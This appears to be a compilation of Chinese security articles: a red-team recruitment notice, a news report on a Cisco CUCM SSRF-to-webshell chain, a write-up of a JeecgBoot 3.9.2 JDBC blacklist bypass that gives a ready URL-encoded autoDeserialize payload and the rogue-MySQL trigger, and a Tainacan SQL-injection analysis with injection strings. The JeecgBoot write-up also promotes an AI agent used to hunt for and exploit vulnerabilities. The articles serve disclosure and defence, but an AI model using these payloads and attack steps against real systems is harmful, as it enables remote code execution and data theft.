||||
|
||||
【腾讯文档】HVV 投递
|
||||
|
||||
https://docs.qq.com/form/page/DSUNpWmtNQXhjb1Vm
|
||||
|
||||
流程
|
||||
|
||||
简历投递->简历初筛->投递厂商->厂商考试->厂商面试->锁定项目
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# 思科CUCM高危漏洞PoC公开后24小时内即遭利用
|
||||
原创 网空闲话
|
||||
网空闲话 网空闲话plus 2026-06-25 23:14
|
||||
|
||||
2026年6月23日，SSD Secure Disclosure研究团队详细披露了思科统一通信管理器（CUCM）中一个高危漏洞的完整技术细节与概念验证利用链。仅仅一天之内，安全厂商Defused便在6月24日监测到针对该漏洞的大规模实际攻击，且攻击流量高度复刻了公开的PoC，连Webshell的访问口令都原封未动。这一“披露即武器化”的速度再次将漏洞响应的时间窗口压缩至极限，也让全球数千万CUCM用户面临前所未有的紧迫威胁。
|
||||
|
||||
|
||||
|
||||
**漏洞概述：SSRF串联任意文件写入，直取Root权限**
|
||||
|
||||
该漏洞编号CVE-2026-20230，CVSS评分8.6，但思科在其官方公告中明确要求将其视为“严重”级别。漏洞属于输入验证缺陷，可导致未经身份验证的远程攻击者进行服务器端请求伪造，并最终提升权限至root。受影响产品为启用了WebDialer服务的Cisco Unified CM和Unified CM SME部署。WebDialer默认关闭，可一旦启用，攻击路径就完全敞开。
|
||||
|
||||
根据SSD披露的根因分析，攻击链由多个精密咬合的弱点构成。首先，CUCM的Tomcat应用配置中，/cmplatform/installClusterStatusExecute
|
||||
端点无需认证即可访问。其内部调用NodeInstallStageClient#getInstallStage
|
||||
时，会向攻击者指定的“hostname”发起HTTPS请求，形成SSRF。虽然InjectionFilter
|
||||
对目标地址实施了校验，拦截了127.0.0.1等内网地址，但另一个同样无需认证的接口/webdialer/Version.jws?wsdl
|
||||
却可直接返回服务器的真实主机名，从而使校验形同虚设。
|
||||
|
||||
更致命的缺陷在于，代码在构造请求时未对路径进行充分过滤。攻击者可向installClusterStatusExecute
|
||||
发送包含经过URL编码的Axis服务部署描述符的hostname
|
||||
参数，并利用转义序列!--
|
||||
截断正常响应内容，将一个完整的恶意Axis服务定义写入磁盘。该定义中，日志处理器的输出路径被精心设置为穿透多层目录的../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/aaa.jsp
|
||||
，最终在可公开访问的Web目录中生成一个JSP文件。整个过程类似历史Axis 1.4漏洞（CVE-2019-0227）的变种，无需任何凭据。
|
||||
|
||||
**利用链还原：从SSRF到Webshell的机械式拷贝**
|
||||
|
||||
SSD的PoC展示了一条极其清晰的利用路径。第一步，攻击者访问/webdialer/Version.jws?wsdl
|
||||
获取主机名。第二步，向/cmplatform/installClusterStatusExecute?action=clusterNodeInstallStatus
|
||||
发送特制GET请求，其中hostname
|
||||
参数被替换为一长段经过URL编码的Axis部署描述符。解码后的内容为：
|
||||
|
||||
text
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
CUCM在处理节点安装状态时，会将攻击者控制的这段恶意内容写入aaa.jsp
|
||||
。该文件实际上是一个精简的文件写入器，其JSP代码仅接收f
|
||||
和t
|
||||
参数，并将t
|
||||
的内容写入f
|
||||
指定的相对路径。
|
||||
|
||||
第三步，攻击者访问/webdialer/services/randomR11
|
||||
（此时恶意Axis服务已注册），调用nextInt
|
||||
方法，将真正的命令执行Webshell写入同一目录下的c.jsp
|
||||
。第四步，访问/platform-services/axis2-web/c.jsp?pwd=123&i=id
|
||||
即可执行任意系统命令，权限为root。整个链条中，攻击者无需任何合法身份，且所有通信均可走HTTPS加密。
|
||||
|
||||
**24小时内武器化：连口令“123”都懒得改**
|
||||
|
||||
Defused的监测数据显示，6月24日起的攻击活动几乎一字不差地复现了SSD的利用代码。攻击者同样通过WebDialer的SSRF漏洞部署了名为“randomR11”的Axis恶意服务，利用日志处理器写入第一阶段的JSP文件写入器，继而释放第二阶段命令执行Shell。尤为讽刺的是，最终Webshell的密码就是PoC中使用的“123”，攻击者甚至未曾修改这一默认值。这充分表明，攻击者极大概率是直接下载公开代码即行攻击，没有任何定制化开发，侧面印证了漏洞利用的成熟度和自动化攻击工具链的完备性。
|
||||
|
||||
Defused据此发出明确警告：任何启用了WebDialer的CUCM系统若未及时修补CVE-2026-20230，“应假定已被扫描甚至已被入侵”。就在几天前，该公司已观察到对存在漏洞的CUCM系统的扫描和标记行为，而PoC公开后攻击迅速升级为批量自动化打击。
|
||||
|
||||
**厂商与安全界紧急联动**
|
||||
|
||||
事实上，思科早在2026年6月3日便已发布修复版本和详细安全公告，呼吁用户立即更新。然而，从补丁发布到PoC公开相隔近三周，仍有大量组织未能完成修补。PoC公开后，
|
||||
Horizon3.ai
|
||||
迅速推出名为“快速响应测试”的免费工具，可模拟真实攻击但不造成实际损害，帮助企业验证环境中的脆弱性。该公司在社交平台X上敦促受影响企业立刻实施思科提供的缓解措施，或在不需要时直接禁用WebDialer。
|
||||
Horizon3.ai
|
||||
同时强调，统一通信管理器广泛服务于医疗、金融、政府和企业环境，属于关键基础设施，一旦失陷后果严重。
|
||||
|
||||
此外，同一周内，思科Catalyst SD-WAN部署中的另一高危漏洞也遭攻击者利用，凸显企业网络设备正面临叠加式威胁，安全团队应对压力骤增。
|
||||
|
||||
**深度反思：补丁窗口与攻击速度的赛跑**
|
||||
|
||||
从6月3日补丁发布到6月23日PoC公开，再到6月24日攻击现形，整个时间线暴露了现实防御的脆弱。补丁虽然早已可用，但众多机构因业务连续性顾虑、资产管理不清或流程滞后未能及时修复。PoC公开后，攻击者几乎可以零成本将研究转化为武器，留给防守方的时间已非“周”或“天”，而是以小时计。这要求企业必须构建实时漏洞威胁情报追踪能力，并实现关键业务系统的快速修补机制，否则将永远处于被动。
|
||||
|
||||
**【闲话简评】**
|
||||
|
||||
此次思科CUCM漏洞的闪电式利用，再次敲响了三重警钟：第一，互联网暴露面的管理必须“零信任”，WebDialer等非必要服务应一律关闭或严控访问来源，绝不可将通信管理中枢直接裸露于公网。第二，漏洞修补的时效性不是“尽快”而是“立即”，从补丁发布到PoC公开的窗口期是生死时速，应建立7×24小时漏洞预警和紧急变更流程，优先修复可被链式利用的高危缺陷。第三，攻击者连口令都懒得改，说明工业化攻击流水线已能自动抓取新PoC并植入，传统安全检测必须升级为行为分析，监控异常JSP文件生成、陌生Axis服务注册等行为，才能在“24小时窗口”内阻断入侵。安全防护，唯有比攻击者更快。
|
||||
|
||||
**参考文献**
|
||||
1. SSD Secure Disclosure, “Cisco Unified Communications Manager Arbitrary File Write to RCE,” June 23, 2026.
|
||||
|
||||
1. Jai Vijayan, “Attackers Exploit Cisco CUCM Vulnerability Within 24 Hours of PoC Release,” Dark Reading
|
||||
, June 26, 2026.
|
||||
|
||||
@@ -0,0 +1,295 @@
|
||||
# 最新版Jeecgboot后台利用 | 从0写Reina之Jeecgboot-v3.9.2-后台RCE
|
||||
李白你好 2026-06-25 23:30
|
||||
|
||||
|
||||
|
||||
### 前言
|
||||
|
||||
之前的文章提到过，当模型能力越来越强，agent能做的事情大概只有提供准确且精简的上下文，同时为了避免阻碍模型能力，减少上下文的填充，比如低质量或大量固定流程的skills，这一点在漏洞少的或那种长期挖掘的系统尤为重要
|
||||
|
||||
同时agent应该提供模型稳定性，在写reina时这点更是重点，当然也不是为了盲目的消耗token，上下文压缩机制也是重点关注的内容。
|
||||
### （广告Time👻）:
|
||||
|
||||
新版本Reina支持本地
|
||||
订阅导入，挖洞效率陡增~
|
||||
|
||||
同时优化了UI，使用react重构项目，已优化缓存命中
|
||||
```
|
||||
https://github.com/7-e1even/Reina-release
|
||||
```
|
||||
|
||||
|
||||
### 一，漏洞篇
|
||||
|
||||
现阶段让ai进行漏洞挖掘的流程很简单，给他一个git的地址仓库，一个服务器，一个/goal任务，然后一个稳定的agent场景即可，agent层面的优化已经能够让模型稳定的挖到漏洞。
|
||||
|
||||
JeecgBoot 最新本地代码 3.9.2
|
||||
中已经引入 JdbcSecurityUtil
|
||||
，试图通过 JDBC URL 危险参数黑名单阻断历史上常见的 JDBC 攻击参数，例如：
|
||||
- • autoDeserialize
|
||||
|
||||
- • queryInterceptors
|
||||
|
||||
- • statementInterceptors
|
||||
|
||||
- • detectCustomCollations
|
||||
|
||||
- • allowLoadLocalInfile
|
||||
|
||||
但当前过滤实现是：
|
||||
```
|
||||
String lowerUrl = jdbcUrl.toLowerCase();if (lowerUrl.contains(unsafeParam)) { throw new JeecgBootException(...);}
|
||||
```
|
||||
|
||||
该逻辑没有对 JDBC URL 进行 URL decode，也没有按 JDBC Driver 的真实解析语义做规范化。MySQL Connector/J 在解析连接参数时会 URL decode 参数名和参数值，因此攻击者可以将黑名单关键词中的字符 URL 编码：
|
||||
```
|
||||
auto%44eserialize=true
|
||||
```
|
||||
|
||||
JeecgBoot 侧看到的是：
|
||||
```
|
||||
auto%44eserialize
|
||||
```
|
||||
|
||||
不会命中：
|
||||
```
|
||||
autodeserialize
|
||||
```
|
||||
|
||||
但 MySQL Connector/J URL decode 后会识别为：
|
||||
```
|
||||
autoDeserialize=true
|
||||
```
|
||||
|
||||
之后通过 JimuReport 的动态数据源能力注册恶意 MySQL 数据源，并调用会读取查询结果集的接口 /jmreport/loadTableData
|
||||
，即可让 MySQL Connector/J 在 ResultSet.getObject()
|
||||
过程中对 rogue MySQL server 返回的 Java 序列化 BLOB 执行反序列化。可最终实现 RCE。
|
||||
|
||||
|
||||
### 二，分析
|
||||
#### 2.1 分析一：JDBC URL 黑名单过滤可被 URL 编码绕过
|
||||
##### 2.1.1 代码位置
|
||||
|
||||
文件：
|
||||
```
|
||||
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/security/JdbcSecurityUtil.java
|
||||
```
|
||||
|
||||
代码：
|
||||
```
|
||||
private static final String[] UNSAFE_PARAMS = { // === MySQL / MariaDB === "allowloadlocalinfile", "allowurlinlocalinfile", "allowloadlocalinfileinpath", "autodeserialize", "queryinterceptors", "statementinterceptors", "detectcustomcollations", "maxallowedpacket", ...};public static void validate(String jdbcUrl) { if (oConvertUtils.isEmpty(jdbcUrl)) { return; } String lowerUrl = jdbcUrl.toLowerCase(); for (String unsafeParam : UNSAFE_PARAMS) { if (lowerUrl.contains(unsafeParam)) { throw new JeecgBootException("连接地址有安全风险，包含不安全参数【" + unsafeParam + "】"); } }}
|
||||
```
|
||||
##### 2.1.2 问题分析
|
||||
|
||||
当前防御思路是：
|
||||
1. 1. 将原始 JDBC URL 直接转小写；
|
||||
|
||||
1. 2. 对黑名单关键词做 substring 匹配；
|
||||
|
||||
1. 3. 匹配到即阻断。
|
||||
|
||||
问题在于：JDBC URL 是一类需要由具体 JDBC Driver 解析的协议字符串。对 MySQL Connector/J 而言，URL 参数名和参数值会经过 URL decode 处理。安全过滤如果只检查原始字符串，而不检查 Driver 解析后的规范化结果，就会产生解析差异。
|
||||
|
||||
例如：
|
||||
```
|
||||
jdbc:mysql://127.0.0.1:3311/test?auto%44eserialize=true
|
||||
```
|
||||
|
||||
JeecgBoot 过滤看到的 lowercase 原文是：
|
||||
```
|
||||
jdbc:mysql://127.0.0.1:3311/test?auto%44eserialize=true
|
||||
```
|
||||
|
||||
其中不包含连续字符串：
|
||||
```
|
||||
autodeserialize
|
||||
```
|
||||
|
||||
所以通过校验。
|
||||
|
||||
但 MySQL Connector/J 对参数名 URL decode 后得到：
|
||||
```
|
||||
autoDeserialize
|
||||
```
|
||||
|
||||
最终仍然启用了危险配置。
|
||||
##### 2.1.3 绕过 payload
|
||||
```
|
||||
jdbc:mysql://127.0.0.1:3311/test?auto%44eserialize=true&useSSL=false&connectTimeout=5000&socketTimeout=5000&allowPublicKeyRetrieval=true
|
||||
```
|
||||
|
||||
其中：
|
||||
```
|
||||
auto%44eserialize
|
||||
```
|
||||
|
||||
URL decode 后为：
|
||||
```
|
||||
autoDeserialize
|
||||
```
|
||||
##### 2.1.4 为什么这是新代码仍可打
|
||||
|
||||
仓库最新 3.9.2
|
||||
已经包含扩展黑名单和二次校验，但过滤逻辑仍然基于原始 URL 文本：
|
||||
```
|
||||
String lowerUrl = jdbcUrl.toLowerCase();lowerUrl.contains(unsafeParam)
|
||||
```
|
||||
|
||||
没有做以下任何一种处理：
|
||||
- • URL decode 后再检查；
|
||||
|
||||
- • 多轮 decode；
|
||||
|
||||
- • 按 JDBC Driver 真实参数解析结果检查；
|
||||
|
||||
- • 参数名 canonicalization；
|
||||
|
||||
- • 拒绝含 %xx
|
||||
编码的危险参数名；
|
||||
|
||||
- • 对 MySQL ConnectionUrlParser
|
||||
的解析结果做安全判定。
|
||||
|
||||
因此最新代码仍存在绕过。
|
||||
#### 2.2 分析二：动态数据源连接建立时仍信任被绕过的 URL
|
||||
##### 2.2.1 系统数据源入口
|
||||
|
||||
文件：
|
||||
```
|
||||
jeecg-boot/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/controller/SysDataSourceController.java
|
||||
```
|
||||
|
||||
添加数据源：
|
||||
```
|
||||
@PostMapping(value = "/add")public Result<?> add(@RequestBody SysDataSource sysDataSource) { try { JdbcSecurityUtil.validate(sysDataSource.getDbUrl()); JdbcSecurityUtil.validateDriver(sysDataSource.getDbDriver()); } catch (JeecgBootException e) { log.error(e.toString()); return Result.error("操作失败：" + e.getMessage()); } return sysDataSourceService.saveDataSource(sysDataSource);}
|
||||
```
|
||||
|
||||
编辑数据源：
|
||||
```
|
||||
@RequestMapping(value = "/edit", method ={RequestMethod.PUT, RequestMethod.POST})public Result<?> edit(@RequestBody SysDataSource sysDataSource) { try { JdbcSecurityUtil.validate(sysDataSource.getDbUrl()); JdbcSecurityUtil.validateDriver(sysDataSource.getDbDriver()); } catch (JeecgBootException e) { log.error(e.toString()); return Result.error("操作失败：" + e.getMessage()); } return sysDataSourceService.editDataSource(sysDataSource);}
|
||||
```
|
||||
|
||||
该入口做了 JdbcSecurityUtil.validate()
|
||||
，但由于 validate()
|
||||
可被 URL 编码绕过，恶意 URL 可以保存。
|
||||
##### 2.2.2 连接建立处的二次校验同样可绕过
|
||||
|
||||
文件：
|
||||
```
|
||||
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/dynamic/db/DynamicDBUtil.java
|
||||
```
|
||||
|
||||
代码：
|
||||
```
|
||||
private static DruidDataSource getJdbcDataSource(final DynamicDataSourceModel dbSource) { DruidDataSource dataSource = new DruidDataSource(); String driverClassName = dbSource.getDbDriver(); String url = dbSource.getDbUrl(); if (oConvertUtils.isEmpty(url) || !url.toLowerCase().startsWith("jdbc:")) { throw new JeecgBootException("数据源URL配置格式不正确！"); } // 纵深防御: 连接建立时二次校验 URL 和驱动安全性 JdbcSecurityUtil.validate(url); JdbcSecurityUtil.validateDriver(driverClassName); dataSource.setDriverClassName(driverClassName); dataSource.setUrl(url); ... return dataSource;}
|
||||
```
|
||||
|
||||
虽然连接建立时再次调用 JdbcSecurityUtil.validate(url)
|
||||
，但二次校验与第一次校验使用同一套错误逻辑。因此只要注册阶段能绕过，连接阶段也能绕过。
|
||||
##### 2.2.3 数据源缓存与加载
|
||||
|
||||
文件：
|
||||
```
|
||||
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/dynamic/db/DataSourceCachePool.java
|
||||
```
|
||||
|
||||
关键逻辑：
|
||||
```
|
||||
public static DynamicDataSourceModel getCacheDynamicDataSourceModel(String dbKey) { String redisCacheKey = CacheConstant.SYS_DYNAMICDB_CACHE + dbKey; if (getRedisTemplate().hasKey(redisCacheKey)) { return (DynamicDataSourceModel) getRedisTemplate().opsForValue().get(redisCacheKey); } CommonAPI commonApi = SpringContextUtils.getBean(CommonAPI.class); DynamicDataSourceModel dbSource = commonApi.getDynamicDbSourceByCode(dbKey); if (dbSource != null) { getRedisTemplate().opsForValue().set(redisCacheKey, dbSource); } return dbSource;}
|
||||
```
|
||||
|
||||
动态数据源加载后会被缓存；只要恶意 URL 成功保存并首次连接成功，后续可复用。
|
||||
#### 2.3 分析三：JimuReport 的查询接口会读取 ResultSet 对象值
|
||||
##### 2.3.1 触发接口
|
||||
|
||||
本次验证的可触发接口是：
|
||||
```
|
||||
POST /jeecg-boot/jmreport/loadTableData
|
||||
```
|
||||
|
||||
请求体示例：
|
||||
```
|
||||
{ "dbSource": "1227955254275006464", "tableName": "", "pageNo": 1, "pageSize": 10, "sql": "select 1", "paramArray": ""}
|
||||
```
|
||||
|
||||
注意：dbSource
|
||||
需要传 jimu_report_data_source.id
|
||||
，不是 code
|
||||
。如果传 code
|
||||
，容易进入异常路径，例如：
|
||||
```
|
||||
Cannot invoke "Object.hashCode()" because "key" is null
|
||||
```
|
||||
##### 2.3.2 JimuReport loadTableData 执行
|
||||
|
||||
运行时反编译观察到的服务链路：
|
||||
```
|
||||
DesignReportController.loadTableData -> JmReportDbServiceImpl.loadTableData(dbSource, tableName, pageNo, pageSize, sql, paramArray) -> JmreportDataSourceCachePool.getCacheDynamicDataSourceModel(dbSource) -> 根据 dbType 生成分页 SQL -> jmreportDynamicDbUtil.b(dbSource, pageSql, params) -> 执行查询并读取结果
|
||||
```
|
||||
|
||||
本次 rogue server 观察到最终 SQL：
|
||||
```
|
||||
select 1 LIMIT 10
|
||||
```
|
||||
|
||||
日志：
|
||||
```
|
||||
[Q] select 1 LIMIT 10[!!!] SENDING PAYLOAD FOR APP SELECT (2810 bytes)
|
||||
```
|
||||
#### 3.触发
|
||||
|
||||
上面的链路里，最关键的点其实不是“能连上 rogue MySQL server”，而是“应用层会读取 rogue MySQL server 返回的结果集对象值”。
|
||||
|
||||
MySQL Connector/J 8.0.27
|
||||
仍支持如下连接参数：
|
||||
```
|
||||
autoDeserialize=true
|
||||
```
|
||||
|
||||
那这样就可以完整的触发反序列化了，后续通过ai找到的利用链直接打jdbc即可,后续利用spring的链即可达到RCE的效果（
|
||||
Reina部分接入了java-chains工具，可查询有效的利用链
|
||||
）
|
||||
|
||||
完成触发的是：
|
||||
```
|
||||
JimuReport loadTableData -> Spring / JDBC result mapping -> ResultSet.getObject() -> MySQL Connector/J autoDeserialize -> ObjectInputStream.readObject()
|
||||
```
|
||||
|
||||
这也是为什么历史上常见的 queryInterceptors
|
||||
方向在这里不是重点。目标使用的是 MySQL Connector/J 8.0.27
|
||||
，ServerStatusDiffInterceptor
|
||||
旧链路在高版本里已经不再稳定走 getObject()
|
||||
，因此最后还是回到应用层查询结果读取这一条路。
|
||||
### 三，Agent局限性分析与作用
|
||||
|
||||
专家意识，每次遇到人类专家很容易解决的问题，给到模型就很难解决，比如常利用的链子，模型常常需要人的提醒，哪怕只是方向上的提醒，模型很难自行进行。这可能和模型的预训练数据有关，这点在腾讯的渗透挑战也有体现，看了对话内容也可以发现，全场ak的也是需要人提醒https://challenge.zc.tencent.com/teams/[1]
|
||||
xxx
|
||||
|
||||
同时会发现，模型很容易在一个方向疯狂探索，这也是安全研究与渗透测试不同的点，安全研究需要更多的绕过代码的机制，比如绕过黑白名单，而不是和渗透一样直接放弃一个方向。
|
||||
|
||||
所以不只是需要一个让ai搜索的知识库，更多的是需要一个可以让他有方向意识的老师，这也是后续reina需要优化的方向，方向的多模型投票，或是其他的防止他停下来的机制。
|
||||
|
||||
这类漏洞挖掘的案例靠模型一次性“猜中”并不现实。真正重要的是让它持续围绕一个目标推进：
|
||||
1. 1. 找到黑白名单，或是防护的方法；
|
||||
|
||||
1. 2. 模型自行推进绕过；
|
||||
|
||||
1. 3. 区分真实绕过和幻觉绕过；
|
||||
|
||||
1. 4. 当模型遇到难点卡住，及时介入；
|
||||
|
||||
1. 5. 用结果和多模型投票进行验证。
|
||||
|
||||
这也是我的理解里 Reina 更适合做的事情：不是给模型堆一堆固定流程，而是让它在一个稳定场景里不断缩小问题空间。
|
||||
|
||||
## 网络安全情报攻防站
|
||||
|
||||
**www.libaisec.com**
|
||||
|
||||
综合性的技术交流与资源共享社区
|
||||
|
||||
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,468 @@
|
||||
# 未授权到 SQL 子查询：深入分析 Tainacan REST API SQL 注入漏洞（CVE-2026-42740）
|
||||
云梦DC
|
||||
云梦DC 云梦安全 2026-06-26 02:15
|
||||
|
||||
近日，Tainacan 官方修复了一处 REST API 安全漏洞，并分配编号
|
||||
CVE-2026-42740。
|
||||
|
||||
|
||||
|
||||
从表面来看，它是一处 SQL 注入漏洞；但如果深入代码审计，会发现真正的问题并不仅仅是 SQL 拼接，而是
|
||||
REST API 参数信任链设计错误
|
||||
。
|
||||
|
||||
|
||||
|
||||
整个漏洞可以概括为一句话：
|
||||
> 一个未注册的 REST API 参数，绕过了 WordPress 所有参数校验，最终进入 SQL 子查询。
|
||||
|
||||
|
||||
更值得关注的是，即使官方修复了当前利用方式，其底层架构仍然保留了潜在风险。
|
||||
|
||||
本文将按照完整的数据流，对漏洞形成原因进行分析。
|
||||
# 一、漏洞影响范围
|
||||
|
||||
漏洞编号
|
||||
> CVE-2026-42740
|
||||
|
||||
|
||||
影响组件
|
||||
|
||||
Tainacan WordPress Plugin
|
||||
|
||||
影响版本
|
||||
```
|
||||
<= 1.0.3
|
||||
```
|
||||
|
||||
官方已在
|
||||
1.1.0
|
||||
版本中进行了修复。
|
||||
# 二、漏洞环境
|
||||
|
||||
本文复现环境如下：
|
||||
<table><thead><tr><th><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">组件</span></section></th><th><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">版本</span></section></th></tr></thead><tbody><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">WordPress</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">6.2</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">PHP</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">8.1</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">MySQL</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">5.7</span></section></td></tr><tr><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">Tainacan</span></section></td><td><section style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">1.0.3</span></section></td></tr></tbody></table>
|
||||
整体架构如下：
|
||||
```
|
||||
WordPress
|
||||
│
|
||||
REST API
|
||||
│
|
||||
Tainacan
|
||||
│
|
||||
MySQL
|
||||
```
|
||||
|
||||
测试数据包括：
|
||||
|
||||
一个公开 Collection
|
||||
|
||||
一个 Metadata 字段
|
||||
|
||||
默认 MySQL SQL Mode
|
||||
# 三、漏洞整体数据流
|
||||
|
||||
整个漏洞经历了四个关键阶段：
|
||||
```
|
||||
HTTP 请求
|
||||
│
|
||||
REST API
|
||||
│
|
||||
WP_Query
|
||||
│
|
||||
SQL 子查询
|
||||
```
|
||||
|
||||
进一步展开后，完整的数据流如下：
|
||||
```
|
||||
攻击者
|
||||
|
||||
↓
|
||||
|
||||
current_query[]
|
||||
|
||||
↓
|
||||
|
||||
REST Controller
|
||||
|
||||
↓
|
||||
|
||||
prepare_filters()
|
||||
|
||||
↓
|
||||
|
||||
WP_Query
|
||||
|
||||
↓
|
||||
|
||||
$wp_query->request
|
||||
|
||||
↓
|
||||
|
||||
拼接新的 SQL
|
||||
|
||||
↓
|
||||
|
||||
MySQL
|
||||
```
|
||||
|
||||
整个过程中，真正的问题并不是 SQL，而是
|
||||
current_query 参数绕过了 REST API 的参数管理机制。
|
||||
# 四、漏洞根因分析
|
||||
## 4.1 current_query 未注册
|
||||
|
||||
WordPress REST API 采用参数注册机制。
|
||||
|
||||
正常情况下：
|
||||
```
|
||||
register_rest_route(
|
||||
...,
|
||||
[
|
||||
'args' => [
|
||||
'status' => [
|
||||
'sanitize_callback' => ...
|
||||
]
|
||||
]
|
||||
]
|
||||
);
|
||||
```
|
||||
|
||||
只有注册后的参数才会自动进行：
|
||||
|
||||
类型检查
|
||||
|
||||
sanitize
|
||||
|
||||
validate
|
||||
|
||||
默认值填充
|
||||
|
||||
而 Tainacan 直接读取：
|
||||
```
|
||||
$request['current_query']
|
||||
```
|
||||
|
||||
但是
|
||||
current_query 并没有注册。
|
||||
|
||||
因此：
|
||||
```
|
||||
HTTP
|
||||
|
||||
↓
|
||||
|
||||
WP_REST_Request
|
||||
|
||||
↓
|
||||
|
||||
current_query
|
||||
|
||||
↓
|
||||
|
||||
直接进入业务逻辑
|
||||
```
|
||||
|
||||
WordPress 不会处理里面任何子参数。
|
||||
|
||||
例如：
|
||||
```
|
||||
current_query[status]
|
||||
|
||||
current_query[meta_key]
|
||||
|
||||
current_query[meta_value]
|
||||
|
||||
current_query[orderby]
|
||||
```
|
||||
|
||||
全部都会直接进入后续逻辑。
|
||||
|
||||
这也是漏洞真正的入口。
|
||||
## 4.2 官方修复了什么？
|
||||
|
||||
Diff 1.0.3 与 1.1.0 后可以发现：
|
||||
|
||||
官方仅增加了
|
||||
status 参数白名单校验
|
||||
。
|
||||
|
||||
流程变成：
|
||||
```
|
||||
status
|
||||
|
||||
↓
|
||||
|
||||
sanitize_callback
|
||||
|
||||
↓
|
||||
|
||||
WP_Query
|
||||
```
|
||||
|
||||
这样可以阻止当前公开的利用方式。
|
||||
|
||||
但是：
|
||||
```
|
||||
current_query
|
||||
|
||||
↓
|
||||
|
||||
仍然没有注册
|
||||
```
|
||||
|
||||
因此：
|
||||
|
||||
meta_key
|
||||
|
||||
meta_value
|
||||
|
||||
orderby
|
||||
|
||||
tax_query
|
||||
|
||||
仍然可以进入同一路径。
|
||||
|
||||
因此官方修复的是：
|
||||
> 当前利用链
|
||||
|
||||
|
||||
而不是：
|
||||
> 参数信任模型。
|
||||
|
||||
# 五、SQL 注入为什么默认无法利用？
|
||||
|
||||
很多人会疑惑：
|
||||
|
||||
SQL 都拼出来了，为什么没有成功注入？
|
||||
|
||||
原因在于 WordPress 内部调用了：
|
||||
```
|
||||
esc_sql()
|
||||
```
|
||||
|
||||
例如：
|
||||
```
|
||||
publish' OR SLEEP(5)
|
||||
```
|
||||
|
||||
最终会变成：
|
||||
```
|
||||
publish\' OR SLEEP(5)
|
||||
```
|
||||
|
||||
默认 MySQL 下：
|
||||
```
|
||||
\'
|
||||
```
|
||||
|
||||
不会结束字符串。
|
||||
|
||||
因此：
|
||||
```
|
||||
SLEEP()
|
||||
```
|
||||
|
||||
不会真正执行。
|
||||
|
||||
也就是说：
|
||||
|
||||
Payload 已经进入 SQL，
|
||||
|
||||
但是最后被 WordPress 内部转义机制拦截。
|
||||
# 六、哪些情况下可以利用？
|
||||
|
||||
虽然默认环境无法直接利用，但以下情况风险明显增加。
|
||||
|
||||
1、NO_BACKSLASH_ESCAPES
|
||||
|
||||
如果 MySQL 开启：
|
||||
```
|
||||
NO_BACKSLASH_ESCAPES
|
||||
```
|
||||
|
||||
则：
|
||||
```
|
||||
\'
|
||||
```
|
||||
|
||||
不再具有转义作用。
|
||||
|
||||
字符串可以成功闭合。
|
||||
|
||||
SQL 注入立即成立。
|
||||
|
||||
2、GBK / GB2312
|
||||
|
||||
经典宽字节注入。
|
||||
|
||||
addslashes() 添加的反斜杠可能被双字节字符吞掉。
|
||||
|
||||
最终恢复真正的单引号。
|
||||
|
||||
3、更低版本 WordPress
|
||||
|
||||
历史版本中，
|
||||
|
||||
WP_Query 部分参数并未统一调用：
|
||||
```
|
||||
esc_sql()
|
||||
```
|
||||
|
||||
因此也可能存在利用空间。
|
||||
# 七、更值得关注的问题：SQL 被再次拼接
|
||||
|
||||
整个漏洞中，我认为真正值得关注的是这一设计：
|
||||
```
|
||||
$wp_query->request
|
||||
```
|
||||
|
||||
返回的是完整 SQL。
|
||||
|
||||
随后又继续作为：
|
||||
```
|
||||
(
|
||||
$wp_query->request
|
||||
) AS qItems
|
||||
```
|
||||
|
||||
参与新的 SQL 查询。
|
||||
|
||||
即：
|
||||
```
|
||||
SQL
|
||||
|
||||
↓
|
||||
|
||||
SQL
|
||||
|
||||
↓
|
||||
|
||||
SQL
|
||||
```
|
||||
|
||||
这是典型的架构反模式。
|
||||
|
||||
因为第一条 SQL 的安全性，
|
||||
|
||||
将直接决定第二条 SQL 是否安全。
|
||||
|
||||
未来只要：
|
||||
|
||||
WP_Query 新增参数
|
||||
|
||||
参数遗漏过滤
|
||||
|
||||
Hook 修改 SQL
|
||||
|
||||
插件扩展 SQL
|
||||
|
||||
整个子查询都会受到影响。
|
||||
|
||||
本质上就是：
|
||||
> 将 SQL 当作普通数据继续传递。
|
||||
|
||||
|
||||
这是比当前 SQL 注入更值得关注的问题。
|
||||
# 八、漏洞复现结果
|
||||
|
||||
测试结果如下：
|
||||
